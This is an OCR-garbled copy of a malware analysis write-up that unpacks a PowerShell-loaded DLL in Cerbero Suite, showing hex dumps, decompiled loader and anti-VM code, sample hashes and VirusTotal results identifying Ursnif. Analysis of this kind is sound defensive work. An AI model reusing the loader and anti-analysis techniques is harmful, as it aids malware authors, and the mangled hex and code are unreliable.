4 &2 Intrinsic threats 00000090 | 32 90 5C 2C EA 6F 97 2C EF 6F 96 2C CE 6F 97 2C

000000R0 = 78 31 92 2D EB &F 97 2C 78 31 9E 2D EE 6F 97 2C

€& Native code: x64 00000080 | 78 31 97 2D EE 6F 97 2C 7D 31 68 2C EE 6F 97 2C

4 A privacy 000000C0 | 78 31 95 2D EE 6F 97 2C 52 69 63 68 EF 6F 97 2C
L Debug data 000000D0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
4 /i Wamings 000000EC 50 45 00 00 64 86 06 00 A3 OB D5 63 00 00 00 00
L. Metadata 000000FC | 00 00 00 00 FO Q0 22 20 0B 02 OE 00 00 3E 00 00

00000100 00 CO 16 00 00 00 00 00 €O 10 00 00 00 10 00 00
4 Incorrect checksum value 00000110 | 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00
00000120 06 00 00 00 00 Q0 00 00 06 Q0 00 00 00 00 00 00

rmat &
e — 00000130 00 50 17 00 00 04 00 00 00 00 00 00 02 00 &0 01
4 |4 Optional Header -~ 00000140 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00
# Data Directories 00000150 | 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00

00000160 00 00 00 00 10 00 00 00 F0 S5F 00 00 60 00 00 00

I# Section Headers
00000170 50 60 00 00 3C 00 00 00 00 30 17 00 EO0 01 00 00

i Export Directory 00000180 | 00 20 17 00 D4 01 00 00 00 QO 00 DO 00 0O 00 00

i Import Directory 00000190 00 40 17 00 CO 00 00 00 80 SD 00 00 38 00 00 00

i Resource Directory %
l Exception Directory v v

Enter Python code here

The PowerShell scripts calls two methods in the module after it was loaded:

if (($ZpZeTj.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))

{
[IntPtr]$Jskadx = Get-gRdmSS -PEHandle $PEHandle -FunctionName "kDVMjxaxZYsr

[IntPtr]$PathToSelf = Get-qRdmSS -PEHandle $PEHandle -FunctionName "setPath"

$mPth = $global:scriptPath
$scriptPathPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAn:

if ($JIskadx -ne [IntPtr]::Zero)
{
$VoidFuncDelegate = Get-yMmHLP @() ([Bool])
$VoidFunc = $tVar::$pName.Invoke($Iskadx, $VoidFuncDelegate)

$VoidSelfDelegate = Get-yMmHLP @([IntPtr]) ([Booll)
$VoidSelf = $tVar::$pName.Invoke($PathToSelf, $VoidSelfDelegate)

$VoidSelf.Invoke($scriptPathPtr)
$VoidFunc.Invoke()

It calls “kDVMjxaxZYsr” and “setPath”. These are also the only exported functions by the module.
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I3 [mw_ps_ins_rem_encoded_exe.txt_output] - Cerbero Suite Advanced 6.2 - Cerbero Suite - O
H-BE€¢hS HE Ll e &9 o w BN D # & 0% [SHA2S - 7751A00B3C1146B5DB72BE1218287DA6FDAC65813A1EBOAESE0389DBS79DAAER b
s Roots & % Qutput 8 x
# File Risk Format carbon: analysis finished in 0.1 seconds
1 Ci\.o.\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
“ Hierarchy 8 % C Analysis [Export Directory] 8 x
Name Name Offset Size Value Description A
4 @ mw_ps ins rem_encoded exe.txt output || Characteristics 000051F0 4 00000000
4 i Documents TimeDateStamp 000051F4 4 63D50BA3 sab gen 28 11:48:51 2023 G..
? Configuration file 2 [lang:1033] Majorversion 000051F8 2 0000
Minorversion 000051FA 2 0000
< > || Name 000051FC 4 0000602¢ .rdata (aswhook.dll)
L summary 8 |pase 00005200 4 00000001
4 @ online NumberofFunctions 00005204 4 00000002
@ Intelligence: MalwareBazaar
. NumberofNames 00005208 4 00000002
4 & Intrinsic threats
& Native code: x64 hddressOfFunctions 0000520C 4 00006018 .rdata
4 % privacy AddressOfNames 00005210 4 00006020 .rdata v
L Debug data
N Ordinal Function RVA Name Ord Name RVA Name D led ing
4 /L Warnings
A Metadata ()
4 Incorrect checksum value 1 00001000 0 00006038 kDVMjxaxZ¥sr NA NA
2 00001040 1 00006045 setPath NA NA
4 Format & x
4 |4 Optional Header ~
I Data Directories
1§ Section Headers
\! Export Directory
 Import Directory
ll Resource Directory
il Exception Directory
i Rolocati i hd
Enter Pytho

Looking at the code of one of the exported functions, we can notice that it just calls an internal function pointer.

void _ fastcall setPath(void)
{
if (*(code **)0x180171460 != (code *)0x0) {
// WARNING: Could not recover jumptable at 0x00018000104c. Too many branches
// WARNING: Treating indirect jump as call
(**(code **)0x180171460)();
return;
}

return;

Analyzing the code from the entry point, we see where the function pointer is resolved.
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1 Output.

Analysis [Native code: x64] Decompier [Native code: x64]

Name
4 | mw_ps_ins_rem_encoded_exe.txt_outpt
4 4 Documents
' Configuration file 2 [lang:1033] v
< 2>

o y
“ 0 Online
@ Intelligence: MalwareBazaar
4 &2 Intrinsic threats
49 Native code: x64
4 X Privacy
1 Debug data
“ i Warnings
Al Metadata
4L Incorrect checksum value

=]

a3 Optional Header ~
El Data Directories

EI Section Headers

M Export Directory

 Import Directory

|4l Resource Directory

4 Exception Directory

A ||void _ fastcall initDLL(veoid)

uint64_t payload base;
unk64_t payload size;

payload_size = Ox169A00;
payload base = 0x180007320;
allocspecialMemory (100) ;
*(int64_t *)0x180171468 = internalload (spayload base) ;
if (*(int64_t *)0x180171468 != 0) {
*(unk64_t *)0x1BO171458 = (*_GetProcAddress) (*(int64_t *)0x180171468, "dataCheck");
*(unk64_t *)0x180171460 = (*_GetProcAddress) (*(int64 t *)0x180171468, "setPath");

}
return;

*(unk64_t *)0x180171460 = (*_GetProcAddress)(*(intb4_t *)@x180171468, "setPath");

Analyzing the code, we noticed that the module loads another module and then resolves the “kDVMjxaxZYsr”

and “setPath” from it.

‘SHA—UZS& - ‘ ‘7751A09Kl€1145l!5l)l!728£1118237I)A6FD4C65813A1EB§AE5E0389DEB79DMEB

WH-EReLH 0EEOUSAP& e agw i BN
=) Output.
# File Risk Format
1| G\...\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
a Analysis [Native code: x64] o B Decompier [Native code: x64] ]

Name A

- E mw_ps_ins_rem_encoded_exe.txt_outpt
4 4 Documents
' Configuration file 2 [lang:1033] v
< >

}
}
// ZvMapViewofSection
uVarl = invokeAPI(*(int64_t *)0x1B0170D30, *(unk64_t *)0x180170D78, sub 1500011C0,
*(unk32_t *) ((uint64 t)* (uint32 t *)0x180170D54 * 4 + Ox180007000) = uVarl;
*(uint32_t *)0x180170D54 = *(uint32_t *)0x180170D54 + 1;

0x180170D70) ;

0 Intelligence: MalwareBazaar
4 &2 Intrinsic threats

49 Native code: x64
4 % Privacy

L Debug data
“ /4 Warnings

A Metadata

4L Incorrect checksum value

=]

4 14 Optional Header ~
4 Data Directories

EI Section Headers

M Export Directory

W Import Directory

i Resource Directory

4l Exception Directory

12 tion
o y uVarl = invokeAPI (*(int64_t *)0x180170D30, *(unk64 t *)0x180170D90, sub 180001730, 0x180170D98);
a eonlille *(unk32_t *) ((uint64_t)* (uint32_t *)0x180170D54 * 4 + 0x180007000) = uVarl;

*(uint32_t *)0x180170D54 = *(uint3z_t *)0x180170D54 + 1;

// ZwCreatesection

uvarl = invokeAPI(*(int64_t *)0x180170D30, *(unké4_t *)0x180170D80, sub 1800010F0,
*(unk32_t *) ((uint64_t) * (uint32_t *)0x180170D54 * 4 + 0x180007000) = uVarl;
*(uint32_t *)0x180170D54 = *(uint3z_t *)0x180170D54 + 1;

// ZvwopenFile
uVarl = invokeAPI (*(int64_t *)0x180170D30, *(unk64_t *)0x180170D68, sub 180001610,

0x180170D88) ;

0x180170D€0) ;

*(unk32_t *) ((uinté4_t)*(uint32_t *)0x180170D54 * 4 + 0x180007000) = uvarl;

*(uint32_t *)0x180170D54 = *(uint32_t *)0x180170D54 + 1;

uvarl = sub_180002150("kernel32.dll", "RaiseFailFastException", 0x1B80001FBO, 0x180170DDS) ;
*(unk32_t *) ((uint64_t)* (uint32_t *)0x180170D54 * 4 + 0x180007000) = uvarl:

*(int32_t *)0x180170D54 = *(uint32_t *)0x180170D54 + 1;

// LdzLoadbll
status = (**(code **)0x180170DB8) (0, 0, Ox180170DF0, hModule);

if (status < 0) {
memset (* (uint64_t *)0x180170D20, 0, *(unk32_t *)0x180170D28);
hMedule[0] = 0;

}

else {
freeDLL() ;

}
return hModule[0];
}

Line: 80 - Column: 72

So the module acts just as a proxy to another module and forwards its exports to it.

To find the other module
PE.

we just searched for the “MZ” string in the hex view. The third hit got us to an embedded
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We can, of course, just press Ctrl+E and load the embedded PE, but to be more accurate we first selected the data

belonging to the PE. In fact, we know the size of the embedded PE from the following lines:

void _ fastcall initDLL(void)
{
uint64_t payload_base;
unk64_t payload_size;

payload_size = 0x169A00;

payload_base = 0x180007320;

allocSpecialMemory(100);

*(int64_t *)0x180171468 = internalload(&payload_base);

if (*(intb4_t *)0x180171468 != 0) {
*(unk64_t *)0x180171458 = (*_GetProcAddress)(*(int64_t *)0x180171468, "dataCheck");
*(unkb4_t *)0x180171460 = (*_GetProcAddress)(*(int64_t *)0x180171468, "setPath");

}

return;

Hence, we know that the size is 0x169A00 and we press Ctrl+G to select the data.

1 [mw_ps_ins_rem_encoded_exe.txt_output] - Cerbero Suite Advanced 6.2 - Cerbero Suite - O
H-BE &b HE ODdabhe« @ a v N DB # & 0% [SHA2/25 ~| 7751A00B3C1146B5DB72BE1218287DA6FDAC65813A1EBOAESE0389DBS7ODAAER -
L Roots s x  Ooutput & x
# File Risk Format
1| G\...\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
“ Hierarchy & X Analysis [mw_ps_ins_rem_encoded_exe.txt_output] g x
Name A ‘ (Ux Hex ‘ [zl Fie stats
4 @ mw_ps ins rem_encoded_exe.txt outpt cffset 01 2 3 4 5 6 7 8 9 A B C D E F "
4 |44 Documents 000058A0 | CO 58 00 80 01 00 00 00 DO 58 00 80 01 00 00 00 <-Format data
» Configuration file 2 flang:1033] v 00005880 | EO 58 00 80 01 00 00 00 FO 58 00 80 01 00 00 00
M N 000058C0 | 00 5% 00 80 01 00 00 00 10 59 00 80 01 00 00 00

000058D0 | 20 59 00 80 01 00 00 00 30 5% 00 80 01 00 00 00
[ Summary & x 0000S8E0 | 38 5% 00 80 01 00 00 00 48 59 00 80 01 00 00 00
+ @ online 000058F0 | 58 59 00 80 01 00 00 00 68 5% 00 80 01 00 00 00

. 00005900 | 80 59 00 80 01 00 00 00 98 59 00 80 01 00 00 00
© Intelligence: MalwareBazaar 00005910 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

4 &2 Intrinsic threats 00005920 4D 5& 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
&2 Native code: x64 B8 00 00 00 00 00 00 00 40 00 00 0O 00 00 00 00
" 00 00 00 00 00 Q0 00 00 00 00 00 0O 00 00 00 00
4 & privacy 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00
L Debug data 0E 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68
4 b Warnings 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is.program.canno
i Metadata

74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t.be.run.in.DOS.
6D 6F 64 65 2E 0D 0D OA 24 00 00 00 00 00 00 00 B
AE 46 56 E6 ER 27 38 BS EA 27 38 B5 EA 27 38 B5
5E BB C9% BS E4 27 38 BS 5E BB CB B5 4A 27 38 BS
S5E BB CA B5 F1 27 38 BS 7D 7% 3D B4 EE 27 38 BS
D1 79 3B B4 E2 27 38 BS D1 79 3D B4 99 27 38 BS
D1 79 3C B4 CF 27 38 BS 37 D8 F6 BS BB 27 38 BS
37 D8 E8 BS E9 27 38 BS 78 79 3B B4 EB 27 38 BS
00005A EA 27 38 BS E9 27 38 BS 37 D8 F3 BS F5 27 38 BS
00005210 EA 27 39 BS D3 26 38 BS 7D 79 31 B4 D6 27 38 BS
05r20 7D 79 38 B4 EB 27 38 BS 7D 79 3A B4 EB 27 38 BS
05230 52 6% 63 68 EA 27 38 BS 00 00 00 00 00 00 00 00
05r40 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00
05E50 8A 0B D5 63 00 00 00 00 00 00 00 00 FO 00 22 20
00005R60 0B 02 OE 00 00 %6 OE 00 00 70 08 00 00 00 00 00

4L Incorrect checksum value

= Format 8 x
4 |3 Optional Header a
14 Data Directories
4 Section Headers
s Export Directory
i Import Directory
Il Resource Directory
4l Exception Directory
s Ralocation Diracton

Enter Python code here

2 Cursor: 16F31F Selection: 5920 Size: 169A00 - (Format data)

Now that the data is selected we can load it as an embedded object (Ctrl+E).
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Name (optional): |pa\_.rk}ad.dl

Format File extensions
ONENOTE OneNote Format onenote, one
OTF OpenType Font otf
FDB Program DataBase pdb
PDF Portable Document Format pdf
Portable Executable pe, exe, ocx, dll, sys

PEM Privacy-Enhanced Mail pem

PKCS12  PKCS12 Certificate pkes12, p12, pfx

PKCS7  PKCS7 Certificate pkes?, p7c, p7b

R BEE @ 0w 0 W L d e €9 e o ow BN EE # & % SHAY56 -] ATIDEED7A7BCO9FAB4SAS0EAS72114BECCIDD11F2301D954ASIDEEGTFASCCASS | v
Output
# File Risk Format
1 C:\..\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
& Analysis [Export Directory] 8 x
Name Name offset size Value Description A
4 @ mw_ps_ins_rem_encoded_exe.txt_output || Characteristics 00141760 4 00000000
4 - TCUT“E”‘S TimeDateStamp 00141764 4 63D50B86 sab gen 28 11:48:22 2023 Gu.
% Configuration file 2 [lang:1033] Majorversion 00141768 2 0000
4 | Executables
1B payload.dil Minorversion 00141762 2 0000
Name 0014176C 4 0014209¢ .rdata (LdrAddx64.d1l)
< 2>
Base 00141770 4 00000001
= NumberOfFunctions 00141774 4 00000002
* @ online O ————— 00141778 4 00000002
@ Intelligence: MalwareBazaar crothanes
4 & Intrinsic threats AddressOfFunctions 0014177¢C 4 00142088 .rdata
42 Native code: x64 AddressOfNames 00141780 4 00142090 .rdata .
el L Privacy
2 Debug data Ordinal Function RVA Name Ord Name RVA Name D led
4 4 Warnings (n)
i Metadata
Y value Mk 00014220 0 00142DAA  dataCheck NA NA
5 2 00016020 1 00142DB4 setPath NA NA
4 1§ Optional Header "
4 Data Directories
4 Section Headers
E Export Directory
\ Import Directory
\l Exception Directory
\ul Relocation Directory
s Dehua Diracton: h
ter Python code here

The final module (SHA2-256:
A41DEED7A7BC99F4B45490E4572114B8CC2DD11F2301D954A59DEE67FA3CCAG63) is not obfuscated and
can be analyzed.

In the screenshot we can see some anti-reversing checks.
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- oEE

% [mw_ps_ins_rem_encoded_exe.txt_output] - Cerbero Suite Advanced 6.2 - Cerbero Suite
H-BE€¢hS HE Ll d s €9 o % N DB # & 0% [sHA22% - A41DEEDZA7BCOOFABA5490E4572114BSCC2DD11F2301D954A59DEE67FA3CCA62 | = +
L Roots & X - Output & x
# File Risk Format
1| G\..\mw_ps_ins_rem_encoded_exe.txt_output 0% PE
A Hierarchy — | a Analysis [Native code: x64] a | B Decompier [Native code: x64] [x]
Name 4 t *) (param 1 + OXEQ) = 0; ~
. 4_t *) (param 1 + 0xEB) = 0;
4 @ mw_ps_ins_rem_encoded_exe.txt_output sub, 160060600 (0X1B0108398) ;
4 M Documents param 1[0x60] = ivar2 != 0;
" Configuration file 2 [lang:1033] ivar2 = findProcess ("procexpéd.exe") ;
4 4 Executables param 1[0x61] = iVar2 != 0;
& payload.dil uvar3 = (*_GetModuleHandleW) ("kernel32.dll");
payloac. (wvaz3 T= 0) {
i N iVard = (*_GetProcAddress) (war3, "wine get unix file name");
uvard = (u 4_t) (ivard != 0);
L Summary 8 x }
4 @ online N param 1[0x62] = (char)uvar3;
iVar2 = sub_18006BBBO() ;
@ Intelligence: MalwareBazaar param 1[98] = ivar2
4 & Intrinsic threats ivar2 = sub_180068D10(
42 Native code: x64 param 1[100] = ivar2 !
. . ivar2 = sub_180068E60 (
4 privacy paran_1[0x65] = ivar2
L Debug data ivar2 = sub_180068FB0() ;
4 L Warnings param 1[0x66] = iVar2 != 0;
A Metadata iVar2 = sub_ 180069290 (
param 1[0x67] = iVar2 != 0;
- 4 Incorrect checksum value e ivar2 = sub_18006D600(0x180109DB0) ;
4 Format & x param 1[0x68] = iVar2 != 0;
4 13 Optional Header - ivar2 = sub_180069460(
i Data Directori param 1[0x69] = ivax2 != 0;
= Data Directories ivard = (*_FindWindow) ("VBoxTrayTooluwndclass", 0);
I Section Headers ivar5 = (*_FindWindowW) (0, "VBoxTrayToolWnd") ;
s Export Directory ((ivar4 0) Il (ivar5 != 0)) {
i Import Directory , ivars =
I Exception Directory param_1[0x6A] = (char)ivars: v
i Relocation Directory
BB Nebu Directon w || Line: 51 - Column: 47
Enter Python code here

We have uploaded the final payload to VirusTotal and this time more engines detected the threat, although only 28

out of 69.

(D 28 security vendors and no sandboxes flagged this file as malicious

28

/69
a41deed7a7bc99f4b45430e4572114b8cc2dd11f2301d954a59dee67fadc 1.41 MB
cab3 )
Size
payload.dil_
pedll  64bits assembly
Community Score
DETECTION DETAILS COMMUNITY

W O X

2023-03-24 16:44:54 UTC

a moment ago DLL

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label (D trojan.ursnif/deepscan Threat categories trojan  downloader
Security vendors' analysis (D

AhnLab-V3 @ Trojan/Win.Ursnif.C5391171 ALYac
Arcabit @ DeepScan:Generic.Ursnif.3.1.A1C1D613 Avast

AVG @ Win32:TrojanX-gen [Trj] BitDefender

The name of the malware appears to be “Ursnif”.

Source: https://blog.cerbero.io/?p=2617
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Family labels wursnif  deepscan  bumblebee

Do you want to automate checks?
(D Deepscan:Generic.Ursnif.3.1.A1C1D613
(D win32:Trojanx-gen [Tr]]

(D) DeepScan:Generic.Ursnif.3.1.A1C1D613
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